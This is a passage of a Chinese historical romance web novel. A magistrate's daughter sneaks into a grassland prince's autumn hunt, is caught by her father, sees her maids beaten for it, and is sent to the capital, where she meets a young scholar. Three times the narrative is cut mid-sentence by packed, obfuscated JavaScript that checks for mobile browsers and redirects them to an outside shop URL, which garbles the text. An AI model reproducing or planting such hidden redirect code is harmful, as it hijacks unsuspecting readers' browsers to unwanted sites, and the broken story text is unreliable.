她弯腰抚摸着大黄马的颈侧安抚它:“怕什么?” 他定定地看着她:“你我不过才见过两次面,你就不怕我是坏人存心害你?” 她直起身子:“你要有心害我何必这么麻烦,前日在市集上顺水推舟不就行了?” 茶摊的小二牵来了他的马交给他,伯言翻身上马,和她并骑:“既然你这么信任我,那我不能辜负了你的信任,今日要好好保护你才是。” 他学她也拿布巾蒙了脸。骑行时为了防风沙尘土人们时常会做此装扮,因而他二人这般并不引人注目。两人离了集市一路西行,向着草海深处的围猎场而去。 秋高气爽,初秋的太阳照在身上暖洋洋的,天空一片深蓝极为高远,偶有几丝云朵浮在天边。风吹在身上十分柔和,地上丰厚的草地没过膝盖,草丛里散落着大片大片星星点点的黄色小花,随风轻轻摇曳。 两人速度不快,由着马儿缓步前行着。安宁舒适地放开缰绳高举起双手迎着风眯起眼睛:“真舒服!” 伯言笑了笑,扭头眺望着眼前一望无际的草海。深深浅浅的绿色在眼前铺陈,微风下草海涌动似乎没有边际。靠北极远极远的地方,地平线上有连绵起伏的雪线,那是北蒙山脉。 再往前走了一段,远处天上飘着长长的彩旗,纸鸢一般一直放到高远的天空,呼啦啦地飘扬着。这是分界线,意味着过了彩旗的位置再往西去,就进入了秋狩的围猎区。 这时候草海深处不安全,为了围猎方便,各部的人提前几日就将猎物赶了出来。所以一路过去,遇到兔子、狼群、鹿群、野马群甚至熊豹都有可能。彩旗同时也做警戒作用,示意非请勿入。 两人进入猎场后不久,就发现了野白兔的身影。安宁弯弓搭箭,箭如流星,很快就射中了一只。她纵马赶上,翻身下马从草丛里拾起了兔子举起来给伯言看:“我射中了!” 她正在高兴,远处跑来几匹快马,到了近前停下。当先那人看见安宁手里提着的野白兔,冲她喝道:“放下!这是我们的猎物!” 安宁高高举起白兔,让他们看清兔子脑袋上箭矢的尾羽:“看清楚,灰羽,这是我的箭!” “笑话。”来人冷哼一声,“你是哪儿来的贱民,不知道今天是什么日子不成?!今日这猎场上所有的猎物,都归少布所有!再不放,马鞭伺候!” 安宁看了看来人,对方有七八人,他们只有两人,没有带护卫。安宁拔出了自己的箭,将白兔扔到对方面前,一言不发转身上马。 对方拿了兔子很快离开,带着猎狗又奔向了下一处。 伯言看了看安宁的神情:“你若是不愿意,我去给他们留个教训。” 安宁摇了摇头。 秋狩围猎最后一日,少布身为王子行猎是代表王庭向上天祈求丰收之意。今日对王庭对草原各部来说是一个大日子,猎物获取得越多,表示来年越富足。围猎最后少布还要主持向山神的答谢祭礼。在草原上,能够主持山神的祭礼是王位正统继承权的一种承认,十分神圣。所以今日对少布来说也是个大日子,他获取的猎物越多,越表示上天对他的肯定。 安宁抬头打量着天空,伯言顺着她的视线看过去,见很远的天边有个黑点在盘旋,时不时地,那黑点会猛然急速俯冲而下,一看便知是训练有素的猎鹰在辅助主人打猎。 安宁朝着那个方向一扬头:“去那边。” 伯言提醒她:“那边既然有猎鹰,应有大队人马在那处围猎。” 安宁没有回答,只是用力夹了夹马腹,加快了脚程,伯言只好跟了上去。 两人纵马狂奔了一阵慢慢放缓了速度,让马儿得以休息。此时天上的黑点看得更清楚了些,安宁问道:“看见天上的那只猎鹰了吗?” 伯言道:“看见了。” 安宁由着马儿慢慢前行:“那是金雕。成年的金雕极为凶猛,可徒手抓起数百斤的黄羊猎杀。早先草原王机缘巧合得了两只幼雕,一只他自己留下,取名哈萨尔,后来给了王子少布,一只送到我父亲那里,我同父亲讨要了来。”她指着天上的金雕,“哈萨尔在那里,主营也一定在那附近。” 伯言勒住缰绳:“你要去主营?” 她同样勒住缰绳转身看他,眼神里带着挑衅:“怎么,你怕了?” 伯言颇感兴趣地看着她:“怕倒不曾,只是好奇你有什么打算?” “今日秋狩围猎,草原王还有各部的大首领、世子、我朝使者都在。主持山神祭礼的时候,少布要向他的父王献上一只野生的成年雄鹰。”安宁转身继续前行,“那鹰代表草原王,其后要在祭礼上放飞。这鹰少布一早就备下,今日他既然要主持祭礼,鹰肯定就在主营他的王帐里。” 伯言策马跟上:“王帐守卫森严,不容易接近。” 安宁扭头看他,她蒙着脸,只能看见两个眼睛晶亮:“那你敢不敢和我去?” 他的眼睛里带着笑意,回答得毫不犹豫:“去!” 两人骑着马朝着选定的方向前行,约莫半个时辰后,地平线上出现了层层叠叠的帐篷。这些帐篷和普通的部族帐篷不同,通体白色,辅以金色的刺绣饰边,正是传说中的金帐王庭。 两人将马留在了稍远处,选择步行靠近。 王庭附近远比远处的围场热闹,外面的侍卫把猎物赶到这边的内场,少布带着人骑着马在内场里围猎。场上众人每猎到一个猎物,四周围围看的人们就会发出一阵欢呼。 两人挤进围观的人群,不动声色地看了一会儿,见侍女们来来去去,大概摸清了少布王帐所在的位置,彼此使了个眼色,靠到一起共同往那处走。 “一会儿我去引开王帐旁的侍卫。”伯言轻声开口,“你进去后打算怎么做?” 安宁从腰间摸出一个黄色的纸包在伯言面前晃了一晃又塞了回去:“泻药。放到猎鹰的水里就行。” 伯言看了她一眼:“你怎么随身带着这种东西?” 安宁回答得让他啼笑皆非:“有备无患。” 伯言叮嘱:“你动作快一点。” 安宁点头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273251|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你放心。” 两人挤出人群,到了这里不得不摘了脸上的布巾。王庭的侍女们穿的也是寻常的外部服饰,安宁这一身混在其中并不显眼。 伯言轻声道:“我先去。你见我得手,你就赶紧进去。” 安宁道:“好。” 她看着伯言迈入前方小道,向着王帐的方向走去。这会儿少布正在场上围猎,这里的守卫不多,少布的帐篷前只有两个守卫。 伯言刚经过主帐前,主帐帐篷厚重的门帘被掀起,一队侍女鱼贯而出,紧接着是一群侍卫,再往后是各部族大首领,然后是草原王刹什和顾林书。 安宁睁大了眼睛,万万没想到会在这里遇到父亲。昨夜父亲一直没有回府,今日竟然会出现在金帐王庭的王帐里。 这群人挡在前方,伯言从她的视野里消失。她心中一急,伯言此时贸然引开护卫必然会引起注意。她着急地往前跑了两步,恰好顾林书心有所感抬头向她的方向看来。父女两一对视,安宁心头咯噔一声,暗道一声不好,飞快地转身避开父亲的视线。 可惜已经来不及,不多时绿松的声音在她身后响起:“县君,城主请你过去。” 安宁心里叹息一声,无精打采地转身跟着绿松一路到了顾林书面前。她耷拉着脑袋不言不语,顾林书也没有理她,由着她不发一言站在身侧。旁人见绿松带了个女子到顾林书身侧,只是好奇地看了一眼,并没有多问。 众人到了围场的宴席处。刹什去了正中的王座,顾林书作为主客在左下首落座。等到各大首领和使者一一坐下,顾林书拍了拍身侧的软垫示意安宁。安宁这才靠过去,小声开口:“爹……” 顾林书看着围场里正骑马围猎的少布:“你打扮成这样在这里做什么?” 安宁低下头,不敢回答。 他又问:“刘金虎呢?白蔻和沉香呢?怎么就你自己?” 安宁越发地往后将自己缩成小小的一团。猎场中央突然爆发出一阵巨大的欢呼声,少布一箭射中了一头野狼的头颅,他双手将野狼高举过头顶,策马绕场飞奔,让大家看清他获得的猎物。 顾林书看了女儿一眼,不再追问:“你老老实实地跟着我。” 安宁应了一声。 他微微侧身招来绿松,低声吩咐了几句,绿松应下,叫人快马去给李月桦送信去了。 安宁想起伯言,有些不安地抬头四处打量。少布的王帐前那两个守卫还在,方才人群突然出现看来也让他临时改变了计划,没有引开那几个守卫。幸好幸好。安宁心里安定了些,仍是忍不住四处张望着,寻找着伯言的身影。只是眼下围场上围观的人何止数万,坐在高台上看下去乌泱泱密密麻麻的一片,分不清谁是谁。 少布用手指蘸了狼血,在自己额头上画下三道横线,这才在刹什的王座前勒住马匹,举着野狼翻身下马,跪地声如洪钟:“父王!儿臣幸不辱命,今日猎得头狼!献给父王!” “好好好!”刹什连道三声好,他身旁的近卫上前,将那狼尸抬到他面前放下。这头野狼身上毛发白灰相间,体型格外高大强壮。刹什打量一番十分满意,“赏鹿血酒!” 侍从奉上鹿血酒,少布接过一饮而尽。他翻转过杯底给四处看,视线落到顾林书身旁,动作一顿。虽然安宁做外部女子打扮,仇人相见分外眼红,他一眼就认出了她。 少布扔了酒杯,大步上前冲着顾林书抱拳行礼:“顾城主!本王看上了你身侧的女子,城主可否割爱将她相赠?” 10. 9 整个围场都向此处看来。顾林书微微皱起眉头复又松开,淡淡道:“不可。” “不过是个贱姬罢了!”少布刻意羞辱安宁,“这般女子部族里不知凡几!顾城主既然不舍,本王愿以一百头山羊一百头黄牛外加十个歌姬同顾城主相换,城主可愿意?” 安宁紧紧握紧了拳头,怒视着少布那挑衅的神情。他明知她是谁,刻意出言羞辱,可眼下又不能挑明她的身份,只能被他这般用言语压着骂她是贱姬,似乎他出的那些价钱都高抬了她一般。 顾林书没有再说话,只是微微抬手抖开了身上的外袍,将女儿拥进怀里,隔绝了四周围的打量和注视。 见他如此,刹什开口阻拦:“少布,不得无礼。” 少布看着躲进父亲怀里的安宁冷笑一声,冲着顾林书颇为不敬地随意拱手为礼,扭头便走。 刹什略带歉意地向着顾林书遥遥举杯:“小儿方才从围猎场上下来,血气翻腾未熄,难免狂傲了些,还请顾城主见谅。” 顾林书拿起酒杯遥遥回敬,这场小风波便算就此揭过。 回去的路上,顾林书闭目坐在马车里不言不语。安宁平日不管犯了什么错,在父亲面前总是撒撒娇说上几句软话就能揭过去,鲜少见到父亲这般严肃的样子。她坐在车里不敢说话也不敢动,垂头看着地上自己的影子。 好容易熬到回了府,李月桦面若寒霜坐在正厅主位上正等着她,地上跪着沉香和白蔻。两人见到自家姑娘同老爷一起回来,飞快地抬头扫了她一眼,又赶紧低下了头。 李月桦沉声开口:“过来跪下!” 安宁不敢反抗,乖乖地上前,规规矩矩跪在了正厅中央。 “你好大的胆子。”李月桦看着胆大包天的女儿,“若非你父亲让人回来送信,我还不知道你已经偷偷跑了出去!我还当你在同我赌气躲在房间里睡觉。你好,很好。你身上那点小聪明,如今也会使到我身上来了!” “娘。”安宁糯糯地开口,“女儿错了。” “你真觉着自个儿错了?”李月桦一眼便看穿了女儿的那点小心思,“你并没有觉着自己错了,你只是觉得自己运气不好,若有下次,你还敢!” 安宁低着头,被母亲戳穿了自己的真实想法她无从辩驳,只能沉默。 李月桦看向躺下:“白蔻和沉香知不知情?” 白蔻赶紧起身连连摆手:“回夫人,奴婢不知!” 沉香则深深地叩首:“奴婢知错,请夫人责罚!” “好。”李月桦叫来了李嬷嬷,“沉香打二十大板,白蔻打十大板!拖下去,就在院子里给我狠狠地打!” “娘!”安宁震惊地抬头,往前膝行几步,“是女儿的错,请娘责罚女儿一人即可,不要牵连她们!白蔻属实不知情,沉香不敢违逆我的意思,都是我一人之错啊娘!” 李月桦皱眉看着她:“你一人之错?你虽然是主子,沉香对你也应有劝诫之责!她便是拦不住你,也该告知主母,而非替你包庇!白蔻和沉香同是你房里的一等丫鬟,今日她当值却没有发现你偷跑出去,可见偷懒耍滑做事不力!她二人不该罚?!” 她说话的间隙,李嬷嬷领着几个粗使婆子进了院子,就在正院里摆上了两个条凳,把白蔻和沉香拖了下去,很快木板击打的声音就传来,板板到肉,听着让人心惊。刚打两下白蔻就哭喊出声,沉香则死死咬着牙忍痛。 “娘,我错了!”安宁回头看了眼自己的两个大丫鬟,她们和她从小一块儿长大,说是情同姐妹也不为过。她二人何时受过这般重罚?眼看她二人因为自己的错被打得皮开肉绽,安宁又气又急,流下了眼泪,“我错了娘!你罚我,饶了她们好不好?” 她见李月桦不为所动,又恍急地去求顾林书:“爹,女儿错了爹,求求你,让她们停手!” 顾林书进了屋子后便坐在左上首一直一言不发。直到此时女儿跪在他面前抓着他的手轻轻摇着求他,他才叹息一声开口:“不要责罚太重,真二十大板打下去,就算没有打死,只怕半年也下不了地。就这样吧。” 安宁听父亲开口,飞快地起身跑去院子,推开了正在行刑的几个婆子:“走开!别打了!” 白蔻痛得涕泪横流,委屈地抓住安宁的手:“姑娘,呜呜呜……” 安宁心痛地看着白蔻,只见她的身后血渍浸透了长裤,再去看沉香也一样。只是沉香虽然面色苍白,却依然咬着牙没有落泪,看见安宁内疚的样子,她摇了摇头安慰:“姑娘你别担心,我没事。” 安宁看向一旁的林嬷嬷:“嬷嬷,求您去请大夫来,好好地给她们看看。” 林嬷嬷应了一声,让这几个行刑的婆子将两个丫头抬了下去。安宁这才回到正厅,重新跪在李月桦面前:“娘,女儿错了,请娘责罚。” 李月桦冷然地看着她:“你错哪儿了?” 安宁抬手摸去脸上的泪水:“女儿错在不该违逆娘的吩咐,使计谋擅自出门……” 顾林书突然从旁开口:“你今日扮成这般模样去了王庭,原是打算做什么?” 安宁心里一惊,转身在父亲面前叩首下去:“女儿只是贪玩想去看围猎。” “你还只身去了王庭!”李月桦怒火直冲天灵盖,眼前一黑。她用力抓紧椅子的扶手稳住心神,“你真的是胆大包天,我还小瞧了你!” 顾林书的声音再度响起:“你是自己去的,还是和什么人同去?” 安宁心头巨跳,一时间以为父亲知道了什么。她脑子里快速地飞转,强撑着应答:“只有女儿自己一人。” 顾林书没有再追问,坐在那处脸上看不出喜怒。 “你就这么跑了出去,万一被人识破了身份,你想过后果没有?!”李月桦气急,强压着心头的怒火,“那少布什么性子,是什么心思你不是不知!你偏偏要去做这样的事情!今日你侥幸遇到了你父亲,若是落到他手里,你还能囫囵个的跪在这里说你错了么?!” 安宁叩首在地不言不语,她此时不敢抬头去看父母的脸色,只能老老实实地听着母亲训斥。 李月桦下令:“从今日起,你就在家呆着,不许出你自个儿的院门半步!” 安宁应下:“是。” “好了。”顾林书看着妻子,“气急伤身,你不要太气。”他转向女儿,“你也累了一天,先下去梳洗吧。” 安宁抹了抹脸上的眼泪,直起身冲着父母行了个礼,这才下去。 李月桦兀自生着闷气。顾林书起身走到她身边,温言道:“你自己的身体要紧,别真被她气出个好歹来。” 李月桦闭上眼睛深呼吸了几口气,慢慢放缓情绪:“娘前些日子送了信来,宫里有一批嬷嬷到了年纪放出来,娘请了一个姓严的嬷嬷回家荣养。她的意思,宁儿如今年龄也大了,不能再任由她这么下去。这严嬷嬷在宫里时就是教小主子们规矩的,正好,把宁儿接回京去,让严嬷嬷好好地教一教她规矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273252|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,板板她的性子。” 这要是往日,顾林书定然舍不得,最近发生的事情让他也改变了想法。他点头道:“也好。” 李月桦原本以为要费些唇舌来说服顾林书,却不想他答应得这般爽快。她一时呆住,抬头看着他:“你舍得?” 顾林书在她身旁落座:“她留在凌云州,就难免要同少布打交道。只有千日做贼,哪有千日防贼的道理。”他没有告诉妻子自己从拓罗河部那里听说的少布说的那些狂悖之言,“让她回京城去,一是能避开眼下的麻烦,二则让岳母管一管她也好。再过两年毕竟要谈婚论嫁,也是该好好学一学规矩了。” 李月桦放下心来,整个人轻快了几分:“那我给母亲回个信,定好日子就把宁儿送回京。” 顾林书揽住妻子的肩膀安慰地拍了拍,轻声道:“好。” 安宁回了院子。林嬷嬷请来了郎中给白蔻和沉香看诊后开了药。一部分内服一部分外敷。内服的药小丫鬟拿去了小厨房煎去了,外敷的药放在桌上还没有动。 两人屁股都伤的不轻,伤口出血结的血痂把长裤糊住,林嬷嬷正拿了剪刀想法子弄掉伤口上裹住的破布。看见安宁进门,两个丫头赶紧拉了一旁的被子盖在自己身上,连声催促:“姑娘你快出去!不要让这腌臜脏了你的眼睛!” 安宁不依,过去揭开了白蔻身上的被子,入目只见伤痕触目惊心,哪儿还能看见一点完好的皮肤。她忍不住骂道:“这些婆子好狠的心,没打几下都伤成这样,这要是板子打完了,还不要了你们的命?!” 她拿过另外一把剪刀,先在蜡烛上用火漂了刃口,这才小心翼翼地挑着伤口上糊住的布条往下扯。稍微一用力已经结痂的伤口又裂开渗出血来。白蔻虽然吃痛,依然咬紧了牙一声不吭,只怕吓到安宁。 安宁见状不由得流下泪来。白蔻最是胆小怕痛,平白无故地被她牵连白白挨了顿打。还有沉香也是,都因为她才受了这么重的责罚。她心里堵得厉害,一边擦着眼泪,一边处理着伤口。 林嬷嬷弄干净了沉香伤口上的碎布,给她上了外敷的药,又用干净的棉布盖在上面,这才开口:“这几日伤口不要见水,觉着痒也要忍着不要碰。这金创药极好,好好上几日,不会留疤。” 沉香觉着上完药疼痛感减轻了不少,感激地对林嬷嬷道:“谢谢嬷嬷。” 林嬷嬷看安宁处理伤口有模有样,微微一笑退了出去,留她们主仆三人说话。 “姑娘,别哭了。”白蔻上完药后也觉得疼痛减轻了不少,“我们没事,过几日就好。” 安宁内疚地应了一声,放下了手里的瓷瓶。 沉香拉了拉安宁的手:“姑娘,你给我们讲讲,今日你出去,都发生了什么?!” 白蔻闻言也来了精神,撺掇着安宁:“讲讲,讲讲!” 安宁擦干脸上的泪,破涕为笑,压低了声音把白日里发生的事情细细地讲了一遍。两个丫鬟听得入了迷,听到最后伯言要去王帐引开侍从安宁却突然遇到了父亲之后,沉香开了口:“姑娘,那你就这么回来了?” “事发突然,这不就直接回府了?”安宁说着话跳下地,翻找出纸笔就着油灯匆匆写了张纸条,喊二门的小丫头去把刘金虎叫了来,吩咐他去城里的馆驿跑一趟,把纸条送给伯言,好歹是个交代。 刘金虎去得快,回来得也快。他冲着安宁抱拳奉上先前她交给他的纸条:“县君,属下去了,馆驿没有这个人。” 11. 10 九月十五,秋高气爽。 车队从开阳出发接连走了三日,终于抵达了京城。 安宁撩开车帘,好奇地打量着外面的景色。她已有数年不曾返京,看着一切都觉着新奇。 凌云州地处大宁和赤刹海的边界,街上总能看见穿着各种民族服饰的外部人。而京城入目所及皆是宁人,他们大都衣着光鲜,举止有礼。街上女子也不少,贫家女子和商户女子为了生计不得不抛头露面,大家闺秀则矜持地戴着遮面的面纱,出入乘行马车。街上也有不少人骑马而行,但骑行者皆为男子。 虽然安宁返京是要去保国公府,但她是顾家的女儿,按照规矩先回了顾家。 袁氏得了消息,一早就派卢忠去了永兴门处候着。马车到了顾府大门前,门外还候着两个嬷嬷,一个是袁氏身边的管事嬷嬷卢嬷嬷,一个是长房大娘子身边的管事嬷嬷刘嬷嬷。这些年袁氏安养着,把管家大权尽数交到了长房儿媳苏婉仪手上,如今府里主事的人是苏婉仪。 等到马车停稳,两个嬷嬷互相谦让着下了台阶。刘嬷嬷慈爱地看着安宁:“二姑娘安好,经年不见,二姑娘长这么高了!” 卢嬷嬷笑着接话:“听说二姑娘要回来,老太太好生高兴!这几日一直盘算着日子,今儿早早就吩咐卢忠出门,就怕错过了接姑娘的时辰!” 安宁同两个老嬷嬷问了安,同刘嬷嬷道:“我先去同祖母请安,再去大伯母处问好。” “应该的应该的。”刘嬷嬷笑道,“姑娘尽管去,这边车队有我看顾着,保证安排得妥妥帖帖!” 安宁谢了刘嬷嬷,带着白蔻和沉香随着卢嬷嬷进府,去鹤延堂向袁氏请安。 袁氏几年没有见着安宁,自然是稀罕得厉害,拉着她细细问了又问,问了顾林书和李月桦,又问了她的两个弟弟顾文裕和顾文星,言语中对两个孙儿没能一起回京非常遗憾。 正说着话,卢嬷嬷来报:“大姑娘来了。” 门口的丫鬟打起帘子,进来一个和安宁差不多大的姑娘。这是长房顾林颜和苏婉仪的嫡长女顾珂柔,她年长安宁半岁。她长得眉目如画,看着十分温柔娴静。她先规规矩矩同袁氏问了安,这才看向安宁:“妹妹安好。” 安宁起身回礼:“大姐姐安好。” 袁氏这些年身体大不如前,和安宁说了会儿话已经觉着有些疲乏。见着珂柔过来,笑着吩咐:“你来的正好。我就不留宁儿在这了。你们姐妹也有好几年不见,带你妹妹去你那儿说说体己话去吧。” 珂柔应下,拜别袁氏领着安宁出门。 “二叔二婶虽然一直没回来,霞蔚阁娘一直让人收拾着的。”顾珂柔边走边同安宁道,“听说你要回来,娘这几日又令人里里外外彻底打扫了一遍,用的也全都换了新的。正房东暖阁布置好了让你住,你去看看,若是有什么不满意的言语一声,让下边人赶紧更换。” 安宁道:“有劳大伯母了。我过几日要去保国公府,倒也不必这么麻烦。” 顾珂柔扭头看了安宁一眼,神色间有几分不赞同:“既然回了京,理应住在自己家才是,作何要去外祖家?” 安宁知道自己这个姐姐,年龄不大性格却十分古板,为人最是方正守规矩:“我这次回京不是来玩的。外祖母从宫里请了个教养嬷嬷,娘送我过去,是为了学规矩。” 顾珂柔闻言这才点了点头:“若是这样,那倒说得过去。” 两人一路行来,安宁四处打量:“府里是不是翻修过了?” “修过了。”顾珂柔道,“前几年大动了土木,霞蔚阁旁边的院子整个推倒重建,如今取名叫钟书阁。家里用不了这么多院子,钟书阁做成了书苑,里面荷花池的水同城外的流水用暗渠引到了一起,养了不少锦鲤。”顾珂柔提醒道,“如今钟书阁做了祖父的书苑,平日里有不少外人出入,你若不小心碰上了就去亭子或者回廊隔间里避一避。” 安宁不解:“哪儿来的那么多外人出入?” “都是祖父的学生。”顾珂柔道,“如今还有父亲的同僚和学生,时常到家里来拜访祖父和父亲请教学问。有时祖父会留人在那处,三五日七八日都有。他们虽然都是守礼的君子,咱们自己也要注意回避。” 顾珂柔领着安宁到了霞蔚阁院门口停下了脚步:“你自己先进去看看,有什么不妥帖的就告诉下面的人一声。我还要赶着去上古琴课,这会儿就不陪你了。等送走了先生,我再来看你。” 安宁谢过大姐姐,目送她离开,这才转身进了院子。 这原是她父亲顾林书的居所,顾林书远去凌云州之后,这院落便一直空着。这么多年没有住人,除了院子角落里苔藓的痕迹重了些,别的都打理得井井有条,可见苏婉仪一直很用心。 安宁带回来的行李刘嬷嬷只抬了两个常用的箱笼在堂屋里放着,这会儿白蔻和沉香正在整理,床上幔帐、枕头、被子褥子都是新做的,浆洗得干干净净还带着阳光的味道。房间窗明几净,屋角花瓶里插着早上新剪下来的秋海棠和金桂,满屋馥郁芳香。 安宁查看了一番,起身去青木居给苏婉仪请安。 她顺着甬道走进梅林,打算抄近路穿过花园去长房的院子。刚到荷塘边,就看见一个青年正站在那处,伸长了脖子打量着湖面。他一手扶着身侧的假山,一手握着一根长长的树枝,他探出了身子想去够湖面上的什么东西,又害怕摔下去,正在那里左右为难。 安宁停下了脚步。这人看年龄约莫十六七岁,面如冠玉,身上穿着一身淡青色的文袍,袍子外面罩有一层透明的细纱。安宁想起了先前大姐姐的叮嘱,方才还说若是见着外男要避一避,扭头就遇上了。只是眼下花园四处开阔,最近的庭阁在湖心,此时那青年已经察觉到有人,扭头朝她所在的方向看来。 双方都已经看见了对方,安宁索性大大方方的上前。白蔻和沉香留在院子里整理房间,她只带了个使唤的小丫头出来,而面前这青年则是孤身一人,不见身旁有随侍。 见着安宁过来,他慌忙将手里拿着的树枝藏在了身后,整了整衣冠,面上有些羞赧的红晕,一副手足无措的样子。 安宁福身行礼:“见过公子。” 青年回礼:“姑娘有礼了。” 安宁好奇的看着他在身后藏不住半湿的树枝:“公子在这做什么?” 青年脸上更红,拿出了手里的树枝,讷讷道:“我的香囊掉进了湖里。想要去捞起来,费了半天力气,却还是够不到。” 安宁走到湖边,路面和湖面用碎石砌了凹凸不平的堤岸,上下落差约莫有一尺。湖边极难落脚,稍有不慎就会滑落进去。湖面上一个雪青色的香囊正静静地漂浮着。香囊距离岸边倒是不算远,但若在碎石路上用树枝去够,加上上下的落差又着实远了些。 安宁扭头看向青年:“你不会水?” 他点了点头:“不会。” 安宁打量了一下岸边就地落座,先是将衣袖挽起用衣带缚住,然后开始脱鞋。那青年目瞪口呆地看着安宁做着这一切,直到她脱掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273253|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了鞋子,他才赶紧转过身去:“非礼勿视,非礼勿视!” 安宁见他这般呆呆的模样觉着好玩,喊了他一声:“我要帮你去捞香囊,你不抓着我,一会儿我落进了湖里怎么办?” 他闻言赶紧转身,见她还穿着布袜才松了口气:“你,你何必冒这样的风险,我一会儿叫人来捞就是了。” “你既然自己在这努力了半天也没叫人,想来是不愿意喊人来帮忙。”安宁跳下石阶向他伸出了手,“鞋底太滑我才脱掉。树枝给我,抓紧我。” 青年犹豫了片刻,将树枝递给了安宁,同时伸手牢牢握紧了她的手腕,嘴里还在嘱咐:“你小心。” 他倒是守礼得紧,抓着她的手腕避免接触到她的肌肤。安宁一笑反手抓住他的手腕,接过树枝,身体向着湖面前倾。青年在后面紧紧拽着她。她伸长了胳膊轻巧地划过水面,树枝挂住了香囊上的绳结,轻而易举将其打捞了上来。 青年见状往回用力,将她拉离了湖面。 安宁递上湿漉漉的香囊:“给。” 青年接过香囊,视若珍宝地用手帕擦着上面的水,十分感激:“多谢姑娘!” 安宁扔了树枝,坐着一边穿鞋一边询问:“你叫什么,为什么在府里?” “在下名为朱思,是顾大人的学生,这几日留在贵府是在进学。”朱思道,“只是不成想今日不小心,将香囊落进了湖里。”他正色作揖,“多谢姑娘相助!” 安宁穿好了鞋轻巧站起身冲他一笑:“谢倒不必。今日的事还请公子不要外传,这若是让我的祖父或者大伯知晓,免不得要给我一顿责骂,又要训斥我不守规矩。” 朱思道:“好。我一定谨记。” 安宁不欲与他多言,领着小丫头赶去大伯母的院子,朱思在原地握着香囊,呆呆地看着安宁的背影。第一次见面安宁给他留下了深刻的印象,却并非因为她的美貌。京城里什么样的贵女他没见过?像她这般的却是头一次见,和她的鲜明活泼相比,京城的贵女们一个个刻板的如同木雕一般。 安宁边走边嘱咐身边的小丫头:“方才的事情不许说出去。若是漏出去半个字,我打断你的腿!再给你远远地发卖出去!” 小丫鬟害怕地应下:“我保证不说!” 这个时辰,苏婉仪正在理事管家,青木居的院子里规规矩矩站了十几个等着回话的婆子。见着安宁,丫鬟赶紧去同苏婉仪通报,然后请了她进门。 顾珂柔长得像母亲,苏婉仪看着更加温婉娴静,颇有京城贵妇的风范。她穿着石榴红织金的褙子,里面露出暗紫色绣着花鸟纹的襦裙。看见安宁她未语先笑:“宁儿过来了?” 安宁规规矩矩地行礼:“大伯母安好,侄女儿给大伯母请安。” 苏婉仪指着一旁的椅子道:“快坐。”她眼带笑意地看着她,“回院子看了没有,可有什么不合心意的地方?” 安宁道:“大伯母安排地极为妥帖,侄女儿十分喜欢。” 安宁坐了不到一刻钟,苏婉仪就让人唤来了顾文渊。她对安宁道:“我这会子脱不开身,你大姐姐又要去上古琴课,就让文渊陪你一会儿吧。你想去哪儿逛逛,让下面套车,文渊陪着你去。” 文渊不用念书陪安宁玩儿,自然是一百个愿意,笑着同安宁行礼:“二姐姐。” 两人辞别苏婉仪出了正院,顾文渊问安宁:“二姐姐,你想去哪里看看?” 安宁心头一转,问顾文渊:“文渊,在京城你可曾听说一个叫伯言的人?” 12. 11 “伯言?”顾文渊挠了挠脑袋,“未曾听说。二姐,这人是什么人,你为何打听他?” 安宁转身向外走:“是我在开阳时认识的一个朋友,他来了京城同他失了联系,便问问你。” 顾文渊跟了上去:“你若是想找他,我倒可以着意帮你打听打听。他是哪里人氏,今年年龄几何?外貌如何?可有功名?” 安宁并不愿伯言的事被张扬,不想在这件事上多做纠缠:“我既然到了京城,使人去打听着便是,你不必费心。” 两人路过钟书苑的门口,老树斑驳的光影下站着一个青年,正是朱思。顾文渊看见他停下了脚步,高兴地同他打招呼:“朱四叔!” 朱思微笑回礼:“文渊。”他看向安宁,“这是……” 顾文渊道:“这是我的二姐姐,二叔家里的嫡长女顾安宁。她原先一直在开阳城生活,今日一早才到京城。” 朱思道:“原来是顾二姑娘,有礼了。” 阳光从老树密密叠叠的缝隙里洒下,微风吹过,树叶微微晃动,于是化作一个一个仿佛游鱼一般跃动的光斑。那光斑落在她身上,也落在了她眼睛里。她眼里带着笑,同他一般装作没有见过的样子恭谨地回礼:“见过朱公子。” 顾文渊道:“二姐姐,朱大哥是祖父的学生,他在家里行四,按照辈分算,咱们要叫他一声四叔。” 安宁于是改了口:“见过朱四叔。” 顾文渊问朱思:“四叔,你怎么在这里站着?今日不用随祖父进学?” 朱思回答着顾文渊的问题,视线却忍不住落到安宁身上:“先生奉太后诏进宫了,我在院子里呆时间太久闷得紧,就想着到花园里去走一走。” “那感情正好!”顾文渊抚掌道,“我正要和二姐姐去外面逛一逛。四叔要是无事,不如和我们同去?” 朱思刚要开口,他身后不远处站着的侍从上前一步:“四爷,您还有公文要处理,晚些时候,顾大人要查问。” 